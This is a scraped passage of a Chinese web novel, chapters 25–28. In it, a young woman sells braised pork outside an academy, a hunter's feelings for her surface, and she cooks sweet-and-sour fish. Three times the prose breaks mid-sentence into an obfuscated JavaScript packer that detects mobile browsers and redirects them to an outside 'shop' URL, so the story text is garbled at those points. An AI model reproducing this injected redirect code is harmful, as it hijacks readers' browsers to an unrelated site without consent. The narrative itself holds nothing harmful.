在第十次翻身后,她望着天花板墙角的蜘蛛网,语气疑惑。 “我魅力有这么大吗?” 话说出去,回应自己的是自己的回音。 她又翻了个身。 “这房子该找人来修一下了。” “桌子也换了。” “后日带娘去镇上看病……” “……” 她不知不觉间给自己列了很多待完成的计划,试图用这些计划,取代自己此刻的胡思乱想。 但往往越是这样,她越睡不着。 于是第二天,徐安然顶着两个黑眼圈出现在众人面前。 “安然,你怎的眼下一片乌青,是不是昨日没睡好?” “是的吧。”她无精打采地说。 周时也在车上,但这次,她并没有和他打招呼。昨天就是因为他害得自己睡不着,所以今天有些小脾气了。 “我帮你。” 周时依旧主动帮她拿东西,似乎没发现她的异样。 “我自己也行,我的腿已经恢复了。”她躲开周时的手,自己将两罐装得满满的卤肉搬到车上。 “安然,你坐里边。”两姐妹下车,牛车最里边的位置让给徐安然。 今日除了两姐妹之外,小柔也要去镇上,她去卖熟鸡蛋,以往都是张桂梅一个人去的。但今天小柔得知徐安然要去镇上,哭着喊着让张桂梅带上她。 夫妻俩就小柔这一个孩子,能怎么办,宠着呗。 于是今日的牛车,挤满了人。 车上,徐安然的货物最多,大家的视线一直在她和那坛散发着酱香味的陶罐上来回切换。 今日她带了两坛卤肉,还有三斤做好的拔丝荸荠。工具除了小桌子外,还有菜板和菜刀。卤肉按照斤卖,客人需要多少她就给客人切多少。 猪头肉的成本是五钱一斤,她买了二十斤。外加酱油、盐、糖和香料等的佐料,总成本在一百二十钱。 她打听过,永和镇没人会做卤肉,所以她的配方很值钱。 那这道小吃就不能和酸笋葱花饼一样定价便宜了,有句话说得很对,便宜没好货,但这点仅仅存在于消费者的心中。 不包含她们商家。 她今日带了八斤卤肉,有信心能卖完,即使卖三十钱一斤。毕竟一两肥肉六文钱,一两五花肉都要二十文。她这一斤卤肉三十文,相当于一两才三文钱,换算过来并不贵。 也不是人人都能吃完一斤卤肉的,她和苏清半斤卤肉都得分两顿吃。 路上,徐安然一言不发。 两姐妹见她兴致不高,也一直没出声。 小柔就坐在徐安然右边,盯着发呆的她不说话,不知道在想什么。今天的车,安静得诡异。 更诡异的是,周时话突然变多了。 “今日还是去书院外摆摊吗?” 周时的声音的叫醒了正在发呆的徐安然。 “嗯。不然还能去哪儿。”她回。 “可以去更热闹些的市集。” “目前不考虑,摆摊费太贵。” 一个摊位要交十文钱,并且只能摆摊两个时辰,就比书院多出半个时辰,她不如去书院,并且在书院她也积累了些回头客,说不定这会儿书院里的人正盼着她赶紧出现在门外呢。 “我有路子,可以减免摆摊费,西街人多一些,你的卤肉做得那么好吃,不怕卖不出去。” “什么路子?” “你想去的话,跟我说就行,我帮你搞定。”周时说得并不具体,他有在刻意隐瞒。 “你不和我说清楚,我不去。”她又不是傻的,该有的警惕还是要有。 “聚福楼的掌柜,以前曾在西街做生意,他在那边有点人脉,如果你想去,我帮你去问他,我常跟他们酒楼合作,这点请求他不会拒绝。” 此话一出,徐安然顿时来了兴趣。 “你和聚福楼的掌柜很熟吗?” “对。” “容我再考虑考虑。今日还是去书院外摆摊,上次已经答应过他们会再来,我不想食言。” “好,听你的。” “你……”又是这句话。 “嗯?”周时偏过头看徐安然。 他在前面赶车,所以即使偏过头,徐安然能看到的也只有他的半张侧脸和挺翘的鼻子。 徐安然一直没有回答他。 其实不是她不想说,而是,她总感觉身后有一道灼热的视线在她身上,于是她转过头,见到的便是抿着唇,眼睛瞪得圆溜溜的小柔。 “你干嘛啊?”徐安然问她。 “嗯?”小柔反应过来,恢复了以往和善的面容。 “你知不知道,你的脸上藏不住事儿。” “什么?” “你是不是讨厌我?” “嗯?” “别装傻。” 徐安然的声音很小声,只有两个人能听到。再加上耳边一直伴随着风声,更是将她们的对话都吹走了大半。 “周大哥喜欢你,你看不出来吗?你才是那个装傻的人吧?” 此话一出,徐安然脑子“轰”地一声,不可置信地转过头,此时周时已经将脸转过去了,只能看到他的背影。不知道他有没有听见。 “你别乱说啊,男人就不要名声吗?”徐安然警告地看着小柔,这孩子说话没轻没重,万一被误会了,她和周时以后还怎么相处。 不得不承认,现在她上山还是需要周时带一带的。除了家后面那座山,但是山亭村可不只那一座山,其他的山她还没能去探索呢。 “我哪里乱说了,你难道没发现,周大哥对你和对我们很不一样吗?你怎么这么迟钝。”小柔不可置信地看着她,试图从她脸上看出伪装的痕迹,但失败了,不知道是她伪装得太好还是她真就那么迟钝。 “额……他对你们是怎么样的?” “就爱答不理的啊,周大哥也不会带我上山,不会跟我去镇上,不会跟我一起摆摊。我喜欢周大哥是全村人都知道的事情,连四叔都知道,你居然不知道?” “额……我现在知道了。” “但是他去镇上也有自己的事情要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17152835|195502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做啊,又不完全是因为我。”其实说这句话的时候,徐安然已经有些心虚了。 老天奶,小柔说的该不会是真的吧? 她图周时的力气,周时居然图她这个人? 她又看向周时,发现他的背影并没有什么异常,想来应该是没听到的。 实则不然,周时根本不敢转头。 徐安然忘记了一件事,他的听力很好,曾经在山里,哑哨的声音他都能听见,现在两人就在他身后半米的位置,即使刻意压低了声音,还是被他全听了去。 少年的脸红胜过一切。 他没有提醒二人,因为他更想听听徐安然对他这个人是什么想法。 “你别开玩笑了,我们最多才认识两个月,哪里就称得上喜欢了,这样的喜欢太浅薄了吧,我承认我有点姿色,这是见色起意也说不定。”后者怎么说也是对她颜值的一种肯定。 “你真自恋,你以前可不是这样的,怎么摔了一跤还把自己的性格给摔出变化了?”小柔嘴很毒,但是徐安然却不觉得有多伤人。 更毒的她都听过。 “是有点自恋,这我承认,但是你说周时喜欢我,这点我不承认哈,人家没有亲口跟我说过,你这样说,万一被有心人听去了,不仅是我,你的周大哥也会被人议论。” “我没那么傻,我已经想通了,即使周大哥喜欢你,我也不会跟你绝交,相反,我要跟你成为好朋友,我倒要看看,我输在哪里。” “你随意,反正你现在这样就挺好的,咱们年纪都差不多,别搞那么多心眼,姐姐我忙着挣钱呢。” “切~谁还不会挣钱了,我这次跟我娘一起去镇上卖鸡蛋。”小柔不甘示弱地说,突然,她好像想到了什么,换了一副询问的语气,“对了,你说周大哥是不是喜欢会挣钱的女孩子?之前周大哥对你也多上心啊。 即使是一个村的,但每次见到时,甚至像个陌生人。” 小柔喜欢周时,所以对于他身边有多少亲近的女子,可谓是了如指掌,所以她才会有这样的疑惑。 “姐妹,听我一句劝,别为了男人才进步,要做一个本身就很厉害的女人。懂吗?” 她的真实年龄比小柔大很多,虽然古代的人都比较早熟,但是小柔一看就是被家里人宠着长大的,没见过太多社会的险恶。 见小柔为了一个男人这样认真,她还是忍不住提醒一句。 小柔果然被她说进去了,愣神片刻,“你说的我都明白,但周大哥是我喜欢的男子,我就是想多了解他啊……” “也没错……算了,我俩的观点不同,但为了答谢你曾经帮过我的事情,我就多说一句,凡事以自己为主。” 小柔狐疑地看看着徐安然:“你也就比我年长一岁,怎么这般老成。” 她挑了挑眉,不再说话。 周时没听到自己想听到的答案,心里十分失落。但很快,他又想通了,总归他认清了自己的心,慢慢来,至少现在身边还没有出现竞争者。 她想要开店,想要做生意,那他就做她背后的人。 车上再度恢复安静,一直到城门外。 26. 第 26 章 由于前几日菌子中毒,所以原本答应的三天后再次到书院外摆摊的承诺没有完成,这次,有几位馋嘴的食客直接来到城门口等着徐安然了。 再见到那几个熟悉的面孔,徐安然甚至不太敢认。 “姐姐,你终于出现了!知道弟弟们等你等了多久吗,苦啊,快,先给我来个葱花饼解解馋。” 刘举刘聪两兄弟在见到徐安然之后,恨不得一直黏着她走,若不是有个大块头挡着的话…… 大块头的视线一直在他们两人身上,严肃的样子看得人有些发怵,好在老板姐姐比较随和。 “姐姐,怎么每次你出来摆摊,都有这个大块头跟着,你上次不是说他不是你们家护院吗?”没等徐安然告知他们今日没有葱花饼,刘举就又说话了。他自以为声音很很小,但却还是全被周时听了去。 其实护院也不是不行,就看徐安然需不需要。周时心想。 “今天没有葱花饼咯,我带来了自己做的卤肉。不是平时我们吃的猪肉,而是猪头肉,经过卤煮,味道很入味,咸甜口味的。” 她没有回答刘举的问题,他的问题已经涉及到隐私了,摆摊不是长久之计,所以徐安然并不想透露太多自己家里的情况。 “那也先给我们兄弟俩来一点儿。” “行,一两三文钱,你们要多少?”反正从城门口去书院的路上还有好一段距离,两人既然已经到这里等她了,先卖给他们也不是不行。 只是这个价格刚说出来,二人突然有些犹豫了。 猪头肉,他们家中即使穷,也从来没吃过。光听着名字就不好吃,能被做成什么样的美味?需要三文钱一两。 但是又比葱花饼便宜一些,两人互相对视,纠结一番后,还是决定花这三文钱,试一试。 因为目前为止,徐安然卖的食物就没有不好吃的。 当徐安然打开食盒,满满当当的卤肉映入眼帘,随之而来的是浓郁的酱香。 哪里还能看到肥肉的身影,更像一块红色的玛瑙,并且冒着热气。 “原来卤肉是这个颜色,好像红烧肉,老板姐姐,这个为什么会被叫卤肉?” “因为要先用很多不同的调味料对猪头肉进行腌制上几个时辰,然后才入锅煮,煮好之后,需要再用酱料煮过一遍入味,制作过程不算难,但是步骤比较繁杂。” “算了算了,我们哥俩听不懂,老板姐姐,快给我们切上一点儿。”自见过卤肉之后,刘聪的视线就完全在卤肉上了,压根没心思听到底是怎么做的。 “行,我这就给你们切。” 徐安然熟练地从背后的包裹中拿出一把被油纸包着的菜刀,用干净的白布擦过之后,又拿出一张新的油纸充作手套,利落地下刀。 跟着油纸一起放在秤砣上,一两还多一点儿,她没计较,将秤砣上的卤肉递给两人。 “谢谢好姐姐呀。”两人接过卤肉,像是接过什么宝藏一般。 比起两人的开心,徐安然心中却有些忐忑。四处张望的同时,手快速将带来的物品收拾好。 因为这里不让摆摊,如果被当官的发现,是要被赶走的,更要紧的是还会被罚款。 虽然不知道具体罚款多少,但是她不允许这样的事情发生。 “快走吧。”徐安然背着自己的卤肉,先一步朝书院的方向走去。 八斤的卤肉其实不算重,重的是罐子。牛车不能进城,她只能步行前往。 之前是因为腿脚不好,周时帮她倒是能有理由接受,现在她腿好了,再让周时帮她,就显得有些多余了。 毕竟自己也没有给他工钱。 但是…… “我来吧。”周时快步走到她身边,没等她说话,便上手接过她身后的背篓,“太重了。” “其实也没那么重……”她不至于连二十斤的东西都背不了,而且,小桌子也是周时帮她拿着的。 虽然没什么长久的摆摊计划,但她确实该考虑买辆小推车了。省得每次都没理由去拒绝周时。 这一切的一切,全被身后的小柔等人看在眼里。 其实一开始徐安然在卖卤肉给两位书院的学生时,小柔几人就在旁边等着。 本来小柔也想帮徐安然拿些东西的,但见到周时上去了,便没了动作。 “娘,我不开心,甚至有些嫉妒。”小柔在她身后,话还没说完,就被张桂梅捂住了嘴。 她的声音不大不小,并没有刻意避着谁的意思。 徐安然也听见了。 她有些无奈,这孩子,牛车上的话都白说了。 好在周时没什么反应,好像已经习惯了。 “孩子啊,你说话不能这么直白的呀。”张桂梅连忙阻止她。 “反正我喜欢周大哥这件事,全村人都知道,周大哥帮她提东西,我嫉妒,不是很正常吗。” “扑哧!” 李秀莲从一开始就在憋笑,这会儿总算忍不住了。 “你笑啥!”小柔双眼怒瞪李秀莲,“有那么好笑吗?” “没有,没有,我不笑了,您继续。”说完,李秀莲还真闭上了嘴,但从肩膀抖动的频率来看,她笑得更开心了。 小柔冷哼一声,索性不再看李秀莲,继续将注意力放在前面的徐安然和周时身上。 在她们说话期间,徐安然和周时已经领先了她们一段距离。这段距离,两人的说话声,后面的她们是听不到的。 “你就没什么想说的吗?”徐安然问。 与其糊里糊涂的,不如直接问个明白。小柔刚才都在后边说得那么直白了,再装下去真的没意思了。 周时被这话问得十分紧张。 他捏紧了背后背篓的带子,支支吾吾半天,愣是说不出一句完整的话。 徐安然就这样静静地看着周时,他这样子,纯情得很。倒显得她在欺负他了。 “你该不会真的喜欢我吧?” 这回轮到周时脑子嗡嗡响了,他如何都想不到徐安然会这么直白。 他看着低头眼前的女子,一颦一笑都可以撩拨他所有情绪。 他没说话,倒是微微点了点头。 这时候肯定不能否认,否认了下次就更睡不清了。 他选择先放一放。 “徐姑娘,能不能给我点时间,我还没想好,该怎么跟你坦白。”他也怕说错话,所以需要好好斟酌,更想回去请教一下家里唯一有经验的四叔。 徐安然挑了挑眉,她点头:“行,那我给你点时间想想该怎么跟我说,现在,卖卤肉才是最重要的事情。” 其实周时这个人还不错,至少村里人对他的口碑都一致地好。 算了算了,先不想了。 徐安然摒弃掉脑海中奇奇怪怪的想法,继续朝着书院的方向走去。 正午时分,她们准时出现在书院附近。 已经有很多位学生在外面等着她了,在见到她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17157989|195502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身影,很多人第一反应是不可置信,更有甚者使劲儿揉了揉自己的眼睛,在经过好几次反复闭眼睁眼之后,才小跑到徐安然所在的位置。 小柔哪里见过这样的场面,被惊讶得说不出话。 “娘,安然每次来摆摊都是这样热闹吗?”她问。 谁人不知道读书人都有傲骨,自视清高,特别是对于没什么背景的小商贩,更是不会正眼看待。 但是在徐安然这里,她见到了不一样的读书人。 “嗯,这次更热闹一些,或许是她好久没来了,所以大家都很想她……做的美食。” “真厉害。”小柔情不自禁地说,“娘,我终于知道周大哥为什么会喜欢她了。” “你这孩子,周时还没说什么,你别总是乱说,被村里其他人听去了,又要传些别的闲话了。”张桂梅再次提醒。 她庆幸自己今天没让小柔自己出门,否则更不知道会蹦出什么样雷人的话。 “哦,这不就只有我们几个人嘛,李家那两姐妹也不是个嚼舌根的性格,她们忙着吃好吃的还来不及呢。” 说话间,小柔视线看过去,正好看见本该介绍袖帕款式的两姐妹,此刻正盯着徐安然罐子里的卤肉,咽口水。 眼里的渴望一点儿也不见收敛。 书院里也有女学生,但很少,所以她们的绣帕生意并不算好,但偶尔也能卖出去几条,家里本就不缺什么银子,来镇上存粹是为了买好吃的,摆摊只是顺带做的事情,反正也不用花钱,几条绣帕子也不沉。 但自从徐安然在书院门口摆摊之后,她们也开始重视起自己的生意了,更主要的原因是徐安然做的食物更好吃。 这次的卤肉她们事先吃过,所以这会儿也在购买的队伍中。 至于她们的摊位嘛,都在她们的视线范围之内。 “大家好好排队,今天的卤肉有很多,都够买。”看着有些吵闹的队伍,徐安然终于出声维持秩序。毕竟是在书院之外,还是要保持安静的。 “好姐姐,快别说了,我们等着吃呢,快开卖吧~” “是呀老板姐姐,你好些天没来了,还以为你忘了我们这些在书院读书的弟弟们了呢。” “行,行。” 徐安然咧着嘴笑,书院的学生们大多跟她年纪差不多,还有些比她更年轻,这么些个小年轻围着她一口一个姐姐的叫,心里美得咧。 “不过你们一定要克制点哈,别太吵闹。” 也不是所有学生都喜欢她做的美食,而且周边还有几户人家。 但是她低估了卤肉的香味。 这香味不仅吸引了书院的学生,跟是吸引了附近的住户百姓。 大家纷纷闻着味出现。 但是在知道原材料是指头肉时,一个个的脸上都出现了嫌弃,即使是正在排队的学生们。 “猪头肉做的?那能叫肉吗?能吃吗?”有人没忍住提出了质疑。 但很快,质疑声被其他人呛了回去。 就是早早就在城门口等和她的刘聪和刘举两兄弟。 “你们低估了这道卤肉的美味,既然都觉得不好吃,那你们别买,给我们兄弟俩留一些。” 说话的同时,嘴里的卤肉还在咀嚼着,一刻不曾停下。 虽然很像花钱请来的说客,但不可置否,两人的话很具有煽动性,并且价钱尚能接受,于是都半信半疑地跟着买了。 却也不缺乏有还在观望的人。 27. 第 27 章 这个人就是永和镇的县令,穆鸿轩。 也不是真的对卤肉不感兴趣,怎么说他都是堂堂县令,这样跟学生们一起排队买卤肉,是不是显得不够威严? “死矫情。” 耳边传来自己老师的吐槽声。 本来今天的葛学义就已经很不开心了,因为他最爱的酸笋没了。再有又见到自己学生这副要面子的死样,心中更是气不打一出来。 “我们书院的学生平日里在书院吃不到什么特别好吃的食物,所以这会儿一个个都跟饿狼一样,你再这样等,别到时候买不到了,又打我的主意。” “那您怎么还在这里待着?”穆洪轩问。 “呵。”葛学义自信地笑,“你当我为人师表这么多年,白干呢?当然是有学生帮我买了。” “您真的是……聪明啊。” 说完,穆鸿轩也顾不得什么面子了,朝徐安然的摊位跑去。 他可没有什么学生帮忙排队,估计那群学生里面,也有帮别的老师带着的份儿。得抓紧先买上一份。 学生们都是认识穆鸿轩的,见到他也过来排队,都露出了惊讶的表情。 “别声张,继续买你们的。” 不是每个百姓都认识他,他也并不想引起什么轰动。 “好,好的。”学生们还是比较害怕穆鸿轩的,即使他没什么官威,但他是永和镇最大的官。 不过,自从他出现在这里,原本排队买卤肉的队伍更扩大了,因为学生们都认为,县令都会买的美食,能差到哪儿去? 他爱美食,在书院是人尽皆知的。 再反观徐安然这边,切肉的动作已经快出残影了。 她自己也没想到这些学生对于猪头肉的接受程度那么高,她还准备了些叫卖的话术呢,现在看来是用不上了。 并且卤肉卖出的速度,远比她想象的还要快,仅仅一个时辰的时间,八斤卤肉就已经快要见底了。 而在她身旁,还有一个比她还要惊讶的人,那就是小柔。 虽然她是跟着自己母亲出来卖鸡蛋的,但是小柔的注意力一直都在徐安然这边,倒也不是关注她,而是关注一直在她身旁帮忙的周时。 “原来周大哥不是不会献殷勤,只是对象不是徐安然。” “嘀嘀咕咕说什么呢?”李秀莲带着香气扑鼻的卤肉出现在她面前,“给你,安然给的,咱们都有份。” 一个时辰的时间,学生们基本都吃好午饭了,书院外人也少了许多,卤肉还剩下最后半斤,徐安然也不想再卖了,干脆直接分给同行的人。 张桂梅和小柔帮过她,李秀敏两姐妹也跟她交好,周时更不用说了,所以这半斤卤肉,也算是她的答谢。 俗话说,拿人手短吃人嘴软,小柔接过卤肉之后,还是过来跟徐安然道了句谢谢。 “不客气,好好吃。”她一边收拾面前的东西一边说。 “那个,你说怎么想出用猪头肉做出这么好吃的食物的?” “嗯……”徐安然还真认真思考了一下,“平日在家抄书之余,我还有个喜欢捣鼓美食的爱好。食材不分贵贱,简单的食材也能做出极致的美味,更考验的是下厨之人的功底。” 食材没有错,更不应该将一道不好吃的菜归功于食材。这是当初老师教她的道理,这么多年了,她一直记在心上。 “下厨之人的功底……我能做出这样的美味吗?” “妹子,不是我打击你,下厨也看天赋的,不过你可以试试,我这里有些简单的食谱,你如果对下厨感兴趣,倒时来我家取就是了。”哪有什么食谱,小柔想要,她现写就是了。 食谱不是什么值得隐藏的秘密,如果做得好吃,也可以靠这个来赚钱。不是她研发的,她不会据为己有。 虽然她的厨艺不错,但还没有厉害到可以自创美食的地步,一切都是前辈的经验,她只是比现在的人多了些不一样的新知识而已。 “食谱?这不是秘密吗,你就这样告诉我了?”小柔一脸不可置信地问。显然,在她的潜意识中,这些都是秘密,不能随便告诉别的人。 “又不是什么家传的,红烧肉、清蒸鱼,那么多相同的食谱,但是从每个厨师的手里做出来的味道都不一样,所以没什么好隐藏的啦。” 小柔觉得自己被徐安然上了一课,这一课,让她意识到了自己和徐安然的差距。 她确实有很多被人喜欢上的优点,如果她是男子,或许也会被徐安然吸引。 “你确实很厉害,我要向你学习。”输给徐安然,她并不觉得丢人。 小柔能大大方方地说出这句话,倒是让徐安然刮目相看了。 “好,那就让我们一起进步吧。”她说。 “嗯,一起进步。”小柔说完,便跟着张桂梅先一步离开了,她知道,周时会等徐安然一起离开,虽然承认徐安然比自己好,但是让她亲眼看着自己喜欢的男子对其他女子这般好,她心里始终都不是滋味。 小柔猜得没错,周时确实想等着徐安然,然后跟她一起回去。 “徐姑娘,今日要去草市吗?”周时问。 他还带着几斤猪肉,原本是准备带去聚福楼卖掉的。 但是他现在有个想法,他很想把手里的猪肉都送给徐安然,但以他对徐安然的了解,白送她肯定不会要,并且可能还会因为这件事而远离他。 所以他想到一个折中的方案。 “我手里的肉卖给谁都一样,如果觉得这肉好的话,你拿去吧,价格就跟你去肉商那儿收的差不多就行。” 听到周时说这话,徐安然还挺惊讶的。 她也不是没想过跟周时收购猎物,毕竟他是村里最优秀的猎户,上山一趟基本不会空军。 但是…… “周大哥,实不相瞒我也想过跟你买肉,但是山里的野猪确实不适合用来做这些小食,因为口感并不如家养的禽类……而且用那样好的肉来做这些小食,确实是有些浪费了,而且你也跟酒楼有合作……” “我明白了。”周时理解徐安然的意思。 确实是他将做生意这件事情想得太简单了,他虽然能打到很多猎物,但是品类都比较杂,如果再从他这里拿,无疑是给徐安然多了道工作量。 并且徐安然也在为他着想,能和聚福楼长期合作,对他来说是一件好事,她也不希望合作这样终止。 “不过,如果你打猎到什么山鸡野兔的,可以卖给我哦,我想养着。”徐安然俏皮地说。 家里只有她和娘两个人,平日里她来镇上卖货一卖就是一天,苏清一个人在家没人陪着说话肯定无聊,索性多养点小动物。 而且她发现,苏清还挺有养殖经验的,将三只兔子养得很胖。 “好!” 周时跟徐安然并排走在街上。 一路上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17173426|195502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,周时欲言又止。 “徐姑娘……今日小柔说的话……” “额,你等会。”徐安然出声打断了周时接下来要说的话。 此刻他们面前,是一个鱼肉商人,她的木桶里,是几只活碰乱跳的草鱼。 最近两个月,虽然生活过得好了些,但吃的食物来来回回都是那些,即使有肉吃,但也吃腻了。如今看到这几条新鲜的鱼,便走不动路了。 “小娘子,买鱼嘛?” 鱼肉商人是一位年近三十的妇女,声音洪亮,身型健硕,说话间嘴角含着笑,看着很好相处。 “想买的,这鱼多少钱一斤?” 说来惭愧,她至今不知道永和镇鱼肉的价格。 只知道相较于鱼肉来说,大家对于猪肉的接受程度会更高一些。因为猪肉的做法更多元,鱼肉,目前她所了解过的聚福楼,也只有清蒸和红烧两种单一的做法。 但是如果鱼肉价格太贵,她也就不想买了。 山亭村中有两个河塘,到了季节,村长会组织捕鱼高手到河里抓鱼,抓到的鱼,会公平分给村里的每一户人家。 负责抓鱼的男子或者女子,则会额外多给一条鱼,算是捕鱼的报酬。 但现在并不是捉鱼的季节,晚上气温太冷,还得等上个把月,四月初左右,才是河塘里鱼肉繁殖的季节。 “三文钱一斤,今日的鱼个头大,肉质肥美,就没有低于四斤的,小娘子,来一条?” 妇女热情地介绍着水盆里的鱼,说话期间,更是随手抓了一只上来,让徐安然能够近距离观察。 一只四斤的草鱼,十二文,好像还挺划算。 但是在买之前,她还是看了一眼周时。 本地人,更清楚这边的物价。 只见他点了点头。 徐安然立即转过头,笑容灿烂地看着眼前极力促成交易的妇女,说:“好,给我拿一条,我能自己选嘛?” 她的水盆里一共有八条草鱼,分两个盆装,她拿上来的草鱼不错,但是徐安然还想再看看。 “当然可以,姑娘你自己选,选好了拿给我就行。” 大姐将手上的鱼放回原位,然后往后退了一步,让徐安然自己选择。 “选好之后我可以帮你现场宰了,将鱼肚子里的肠子都掏干净,这样你回家之后直接煮就行。” 在徐安然挑选的过程中,大姐继续说。 “不必,帮我敲晕就行。” 鱼肠也能吃,草鱼除了鱼胆是苦的不能吃之外,其余都可以入菜,她不会浪费这些食材的。 大姐惊讶地看了徐安然一眼,女子淡定地抓起了一条五斤的草鱼,任凭鱼怎么挣扎,始终逃脱不出她的手掌。 “厉害呀,给我吧。”大姐脱口而出地夸赞。 其实徐安然的力气不算大,没让鱼从手里逃脱,是用了点巧劲儿的。 “五斤多一点儿,就算你五斤了,一共十五文。”大姐将秤砣的数字面儿给徐安然看。 大姐都这样爽快了,徐安然也懒得还价了,她回道:“谢谢大姐,祝你好卖。” “哎,多谢姑娘,好吃的话,常来,我每日都有新鲜的鱼。” “行。” 没等徐安然接过大姐递来的鱼,就已经被周时截胡了。 大姐暧昧地看了两人一样,没说话,但是意思徐安然是理解了,这是又被误会了…… 28. 第 28 章 但是她还真的挺离不开这样有眼力见的人,严格来说是她未来的饭馆离不开。 周时带着鱼,身后还背着十几斤的猪肉,不仅如此,还帮她拿着摆摊的小桌子,那么多东西,愣是没见他有一点气喘的样子。 她身后只背着一个空着的陶罐,另外一个,李秀莲先帮她带回牛车上了。 这一次去聚福楼的路,她轻车熟路,并且还能走在周时前面。 待他将带来的十几斤猪肉卖掉之后,徐安然总算心里松了口气。毕竟周时一直背着那么多东西,她看着都累。 明天她打算带苏清来镇上检查身体,所以今天除了买鱼之外,就不再买别的东西了,于是跟着周时前往城门口。 彼时大家都已经回到城外了,或者说,大家都在等着他们俩。 “他们怎么去那么久?” “慢慢等吧,不想等也可以去周边逛一逛呀,反正还没到回去的时间呢。”李四说。 自己大侄子好不容易有跟心上人光明正大相处的机会,哪里能被其他人破坏呢。 最好是小柔也出去逛一逛,这样她才不会乱想。 “四叔,你别以为我不知道你的想法。”小柔十分平静地戳穿李四的想法,她的语调没什么波澜,听不出是什么心情。 李四尴尬地挠了挠额头:“嘿嘿,你知道就行,别说出来哈。” “四叔,您以前不是看好我当您侄媳妇儿嘛,怎么这么快就变心了。”小柔之所以以前对周时死缠烂打,更多的是有李四的支持。 她觉得,只要自己一直坚持,并且双方长辈都同意,那她就一定能得偿所愿。 但是,她没想到李四那么快就变心了,好歹也是看着她长大的长辈。 “我是个开明的长辈,即使以前四叔支持你们俩在一起,但也得看看周时的想法是不是?” “但我就是不甘心嘛,你直接把我淘汰了……” 李四十分认真地看着小柔,语气比刚刚要认真几分:“孩子,等你再年长几岁,就懂得叔为什么这样做了,你现在还理解不了……不过没关系,这世上好男儿多的是,你值得更好的,信四叔。” 到底还算个孩子,小柔十分好哄。 此话一出,她心里的执念又消散了几分。 现在周时在她心里,好像变成了一个可有可无的人。 就是不知道这样的想法能坚持多少天,会不会在见到周时之后,又不见了。 “我们回来啦。” 想什么,什么到。 徐安然的声音在前方响起,身后跟着的人正是周时。 他竟还帮着徐安然提东西,她自己是没手还是怎样? “干嘛每次都让周大哥帮你拿东西?”小柔气鼓鼓地说,“我来帮你拿。” “额……”还以为她会说些更刻薄的话。 算了,她也懒得去研究小柔到底是怎么想的,有这时间,不如多研究出几道关于草鱼烹饪的食谱呢。 回到自己家,她一股脑冲进厨房,此后的一个时辰,再也没出来过。 传统的红烧和清蒸她都不想吃,思来想去,她决定做糖醋鱼。 草鱼或是鲤鱼都是做糖醋鱼最好的种类。 院子菜地中青一处红一处的小番茄总算派上用场了,因为不是季节蔬菜,所以番茄个头并不大,味道也偏酸,正合适用来做番茄酱。 在烹饪前,徐安然会习惯先将所有的食材备好,这样不会在烧菜期间手忙脚乱。 糖醋鱼,是非常经典的一道菜,特别是糖醋鲤鱼,象征着鲤鱼跃龙门,在现代的新春佳节,是饭桌上不可或缺的一道大菜。糖醋鱼的味型为酸甜口,是大众都能接受的一种口味,所以知名度很高。 但是她并没有在聚福楼的菜单中见过这道菜,不知道是不是因为永和镇位置偏僻的原因。 这道菜也是徐安然最喜欢的一道菜之一,烧起来得心应手。 相较于鲤鱼来说,她更喜欢用草鱼来做糖醋,如果不考虑其中的寓意,鲤鱼的土腥味比较重,而草鱼则自身的味道更淡,更好入味。 草鱼已经被大姐打晕了,拿回家后她又过了一遍清水。菜刀刀背从鱼尾处至下而上地刮,鱼鳞尽数脱落。紧接着一手握住鱼身,一手伸进鱼鳃盖内,找到主血管后直接拔出,鱼鳃是鱼肉产生腥味的来源之一,这个步骤不能省略。最后刀尖在鱼尾下方化开一道口子至鱼头上方,掏出所有的内脏。 处理鱼肉最难的就是鱼胆,鱼胆不能破裂,破裂后会染苦鱼肉,如果处理不及时,整条鱼就废了。 在处理的过程中,苏清一直在旁边帮她的忙。古代没有水龙头,而在处理鱼的过程中,需要流动的水一直清洗,所以需要她一直在旁边舀水。 一边清洗,徐安然一边思考如何将这条鱼炸得外酥里嫩。 因为这道菜的要求就是外边要求要酥脆,里头要嫩。草鱼虽然鲜嫩,但是如果炸过头了,那么就失去了鲜美度。 草鱼也属于淡水鱼,不论是现代还是古代,所以多多少少也跟鲤鱼一样带点土腥味。 为了去掉这样的土腥味,在炸的时候,火候很重要,在外焦里嫩的前提下,海要炸的便酥脆一些,蒸发掉肉里的部分水分,这样土腥味就会有效减弱。 不过在炸之前,还需要对鱼肉的表面进行一些处理。比如花刀,这不仅仅是美观那么简单,跟是能让鱼肉更加入味。 花刀也分种类,每一个厨师擅长的花刀都不一样,比如之前教她的老师傅,更擅长牡丹花刀。她则更擅长打麦穗花刀。 